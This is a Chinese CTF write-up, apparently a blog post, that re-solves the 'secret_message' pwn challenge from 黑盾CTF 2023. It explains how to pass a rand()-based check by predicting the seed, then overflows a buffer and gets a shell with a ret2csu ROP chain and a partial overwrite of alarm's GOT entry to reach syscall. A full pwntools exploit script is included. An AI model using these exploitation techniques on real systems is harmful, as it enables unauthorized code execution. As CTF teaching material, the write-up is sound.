[黑盾CTF 2023] secret_message 复现

赛后拿到题目和pwn_ckyan的WP,复现一下,这个题坑还是不小的。120分钟的比赛,只作这一个题还差不多。

先看题。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[48]; // [rsp+0h] [rbp-30h] BYREF

  init_0();
  if ( check() )
    read(0, buf, 0x100uLL);
  return 0LL;
}

main很直白,先是个init这里有个alarm也算很常见的方法,然后是个检查,检查通过后就是个有溢出的写。

_BOOL8 check()
{
  __int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
  char v2[32]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+40h] [rbp-10h]
  int v4; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  seed = time(0LL);
  memset(v2, 0, sizeof(v2));
  memset(s, 0, sizeof(s));
  strcpy((char *)s, "s0d0ao2lnfic9alsl2lmxncbzyqi1j2");
  sub_4008D1(v2, 32);
  srand(seed);
  for ( i = 0; i <= 30; ++i )
  {
    v4 = rand() % 16;
    *((_BYTE *)s + i) ^= v4;
  }
  return strcmp(v2, (const char *)s) == 0;
}

check先取了个时间作为种子,然后把一个密文放到栈上,然后执行sub_4008D1,回来后置种子,再把密文与rand%16异或,然后比较。这里都比较容易,就是srand为什么放到离seed这么远。

char *__fastcall sub_4008D1(char *a1, int a2)
{
  int v2; // edx
  char *result; // rax
  int v5; // [rsp+14h] [rbp-Ch]
  char *buf; // [rsp+18h] [rbp-8h]

  buf = a1;
  while ( a2 )
  {
    v5 = read(0, buf, a2);
    if ( v5 < 0 )
      exit(1);
    a2 -= v5;
    buf += v5;                                  // 指针保持在数据尾部
  }
  v2 = strlen(a1);                              // 读入0x20
  result = buf;
  *(_DWORD *)buf = v2;                          // 用串长度0x1f覆盖seed
  return result;
}

这里边有些小细节,放入数据放到buf,buf是参数引入的,向check的buf写入,读不满不会退出。

这里有个buf+= v5; 每读一次就把指针后移保证下次从尾部接着读,结束读后次串长度存入buf。

  __int64 s[4]; // [rsp+0h] [rbp-50h] BYREF
  char v2[32]; // [rsp+20h] [rbp-30h] BYREF
  unsigned int seed; // [rsp+40h] [rbp-10h]
  int v4; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

再回来看check的栈,v2存读入的32个字节,后边是seed,从上个函数看,这里被存入的串长度覆盖。因为后边要进行strcmp所以输入应该是31个字符和一个\x00,这里字符串长度应该是31(0x1f),也就是说刚开始放的种time(0)被改为0x1f

对于有足够长溢出的情况下,一般是先puts(got[puts])+main先泄露libc,再system(/bin/sh),但是这个题目似乎一直就没有输入。看下got表

.got.plt:0000000000601018 B0 10 60 00 00 00 00 00       off_601018 dq offset strlen             ; DATA XREF: _strlen↑r
.got.plt:0000000000601020 B8 10 60 00 00 00 00 00       off_601020 dq offset memset             ; DATA XREF: _memset↑r
.got.plt:0000000000601028 C0 10 60 00 00 00 00 00       off_601028 dq offset alarm              ; DATA XREF: _alarm↑r
.got.plt:0000000000601030 C8 10 60 00 00 00 00 00       off_601030 dq offset read               ; DATA XREF: _read↑r
.got.plt:0000000000601038 D0 10 60 00 00 00 00 00       off_601038 dq offset __libc_start_main  ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 D8 10 60 00 00 00 00 00       off_601040 dq offset srand              ; DATA XREF: _srand↑r
.got.plt:0000000000601048 E0 10 60 00 00 00 00 00       off_601048 dq offset strcmp             ; DATA XREF: _strcmp↑r
.got.plt:0000000000601050 E8 10 60 00 00 00 00 00       off_601050 dq offset time               ; DATA XREF: _time↑r
.got.plt:0000000000601058 F0 10 60 00 00 00 00 00       off_601058 dq offset setvbuf            ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601060 F8 10 60 00 00 00 00 00       off_601060 dq offset exit               ; DATA XREF: _exit↑r
.got.plt:0000000000601068 00 11 60 00 00 00 00 00       off_601068 dq offset rand               ; DATA XREF: _rand↑r

确实没有puts类的输出函数。那么这个问题就来了,怎么弄。

前天写的单次调用写了3个存的模板,对于2.35以后的用一个add 的gadget对got表加偏移改为system。这里是2.27,所以这个方法不适用。这个是传统的ret2csu。

ret2csu使用两个gadget:ppp6和move_call这两个可利用的gadget在程序调入时使用的init函数里

.text:0000000000400A90                               ; void __fastcall init(unsigned int, __int64, __int64)
.text:0000000000400A90                               init proc near                          ; DATA XREF: start+16↑o
.text:0000000000400A90                               ; __unwind {
.text:0000000000400A90 41 57                         push    r15
.text:0000000000400A92 41 56                         push    r14
.text:0000000000400A94 41 89 FF                      mov     r15d, edi
.text:0000000000400A97 41 55                         push    r13
.text:0000000000400A99 41 54                         push    r12
.text:0000000000400A9B 4C 8D 25 6E 03 20 00          lea     r12, off_600E10
.text:0000000000400AA2 55                            push    rbp
.text:0000000000400AA3 48 8D 2D 6E 03 20 00          lea     rbp, off_600E18
.text:0000000000400AAA 53                            push    rbx
.text:0000000000400AAB 49 89 F6                      mov     r14, rsi
.text:0000000000400AAE 49 89 D5                      mov     r13, rdx
.text:0000000000400AB1 4C 29 E5                      sub     rbp, r12
.text:0000000000400AB4 48 83 EC 08                   sub     rsp, 8
.text:0000000000400AB8 48 C1 FD 03                   sar     rbp, 3
.text:0000000000400ABC E8 B7 FB FF FF                call    _init_proc
.text:0000000000400ABC
.text:0000000000400AC1 48 85 ED                      test    rbp, rbp
.text:0000000000400AC4 74 20                         jz      short loc_400AE6
.text:0000000000400AC4
.text:0000000000400AC6 31 DB                         xor     ebx, ebx
.text:0000000000400AC8 0F 1F 84 00 00 00 00 00       nop     dword ptr [rax+rax+00000000h]
.text:0000000000400AC8
.text:0000000000400AD0
.text:0000000000400AD0                               loc_400AD0:                             ; CODE XREF: init+54↓j
.text:0000000000400AD0 4C 89 EA                      mov     rdx, r13
.text:0000000000400AD3 4C 89 F6                      mov     rsi, r14
.text:0000000000400AD6 44 89 FF                      mov     edi, r15d
.text:0000000000400AD9 41 FF 14 DC                   call    qword ptr [r12+rbx*8]
.text:0000000000400AD9
.text:0000000000400ADD 48 83 C3 01                   add     rbx, 1
.text:0000000000400AE1 48 39 EB                      cmp     rbx, rbp
.text:0000000000400AE4 75 EA                         jnz     short loc_400AD0
.text:0000000000400AE4
.text:0000000000400AE6
.text:0000000000400AE6                               loc_400AE6:                             ; CODE XREF: init+34↑j
.text:0000000000400AE6 48 83 C4 08                   add     rsp, 8
.text:0000000000400AEA 5B                            pop     rbx
.text:0000000000400AEB 5D                            pop     rbp
.text:0000000000400AEC 41 5C                         pop     r12
.text:0000000000400AEE 41 5D                         pop     r13
.text:0000000000400AF0 41 5E                         pop     r14
.text:0000000000400AF2 41 5F                         pop     r15
.text:0000000000400AF4 C3                            retn
.text:0000000000400AF4                               ; } // starts at 400A90
.text:0000000000400AF4
.text:0000000000400AF4                               init endp

 ppp6就是从0x400AEA开始的从栈上弹出到6个寄存器。这6个寄存器基本上不怎么用。

mov_call是这段前边0x400AD0开始,将r13,r14,r15d存入rdx,rsi,edi然后调用[r12+rbx*8],这两个配合使用实现填充rsi,rdi并实现call,一般rbx置0,用r12作为调用指针,rdi,rsi为1参2参。

这时候就可以开干了,问题得干起来才能慢慢解决。

第1步要给程序打patch,虽然可以用环境变量调入,但有时候会有些问题,毕竟不可能虚机都跟比赛用的Docker差不多,patchelf还是比较好的办法。

先看下给的libc版本,虽然给的 2.27但2.27也有很多小版本,最好是一样的。

┌──(kali㉿kali)-[~/ctf/0520]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

然后打上patch

patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so pwn
patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so pwn

这时候这个环境跟Docker就比较像了,但还是有差别,不过不影响运行

思路:

  1. 通过check,ctypes调用srand,rand得到预测的值生成密文
  2. 调用read修改alarm的got表,alarm向后偏移,去掉无用部分得到一个syscall
  3. 再次调用read向bss的可写区写/bin/sh 并利用返回值(长度)存入rax,给rax填入59(execv的中断调用号)
  4. 用gadget调用alarm(已改为syscall)获得shell

第1块是要过这个check(名字是后来在ida里为方便看自己改的,这也算是个习惯吧。虽然浪费点时间但是以后看起来方便)

置种和取rand这块前边写过用ctypes调用libc,由于不同版本的libc里 rand函数基本不变,所以并不一定要用完全相同的版本。

from pwn import *
from ctypes import *

binary = './pwn'

p = process(binary)
context(arch='amd64', log_level='debug')

elf = ELF(binary)
libc = ELF('./libc-2.27.so')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

#clibc.srand(clibc.time(0))
# *(_DWORD *)buf = v2;      // 用串长度0x1f覆盖seed
clibc.srand(0x1f)  

sec = b"s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
s = bytes([v^(clibc.rand()%16) for v in sec]) + b'\x00'
p.send(s)
print('send:',s)

这块过了以后,后边跟return时的现场有关,比如当时的寄存器和查看写入的payload,所以这里在return前下断点,观察。

 这里rdi=0这里已经有rdi,只需要pop rsi即可,如果rdi没有就弹一次rdi,在pop r15;ret,一般大多情况下pop rdi;pop rsi都是有的,可以用ROPgadget在程序里找。pop rdi就在ppp6的尾部pop r15; ret的错位。pop rsi;pop r15;ret是ppp6尾部pop r14;pop r15;ret的错位。经常是rdx比较难弄,不过read函数只要不是太小就能用。这里是0x100足够了。

┌──(kali㉿kali)-[~/ctf/0520/secret_message]
└─$ ROPgadget --binary pwn --only 'pop|ret'             
Gadgets information
============================================================
0x0000000000400aec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400af0 : pop r14 ; pop r15 ; ret
0x0000000000400af2 : pop r15 ; ret
0x0000000000400aeb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aef : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop rbp ; ret
0x0000000000400af3 : pop rdi ; ret
0x0000000000400af1 : pop rsi ; pop r15 ; ret
0x0000000000400aed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400691 : ret
0x00000000003fc0f9 : ret 0x3f

现在看alarm的情况

gef➤  x/5i &alarm
   0x7ffff78e44f0 <alarm>:      mov    eax,0x25
   0x7ffff78e44f5 <alarm+5>:    syscall

可以看到alarm的代码给eax填充后就直接调用syscall,由于程序加载里尾12位(1个半字节)不发生变化,所以只需要把got表里的尾字节f0改成f5就直接得到syscall

第2次read需要将rsi改为随便一个可写地址,一般在bss的后部。bss一般程序只用了前边一点儿,而一个段至少0x1000字节,所以后边写是比较安全的。rax里存read的反回值这里执行完read后,如果read的长度是59正好是exec的syscall调用号。

后一半代码

#gdb.attach(p, "b*0x400a8d\nc")

pop_rdi = 0x0000000000400af3 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400af1 # pop rsi ; pop r15 ; ret
ppp6 = 0x400AEA
mov_call = 0x400AD0
got_alarm = 0x601028
buf = 0x601800

pay = b'A'*0x38 + flat([
    pop_rsi_r15, elf.got['alarm'], 0, elf.sym['read'],  #sym['alarm']+5 = syscall 
    pop_rsi_r15, buf, 0, elf.sym['read'],   #read /bin/sh  len(payload)=0x3b rax=0x3b
    ppp6, 0,0, elf.got['alarm'], 0,0, buf,  # r12=got.alarm r15=buf
    mov_call                                #
 ])
p.send(pay.ljust(0x100, b'\x00'))

p.send(b'\xf5')   #0x7ffff78e44f0 <alarm>: 0xb8 0x25 0x0 0x0 0x0 0xf 0x5 0x48    +5=0f05 syscall 输入尾号f5修改alarm为syscall
p.send(b'/bin/sh'.ljust(0x3b, b'\x00'))

p.interactive()

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值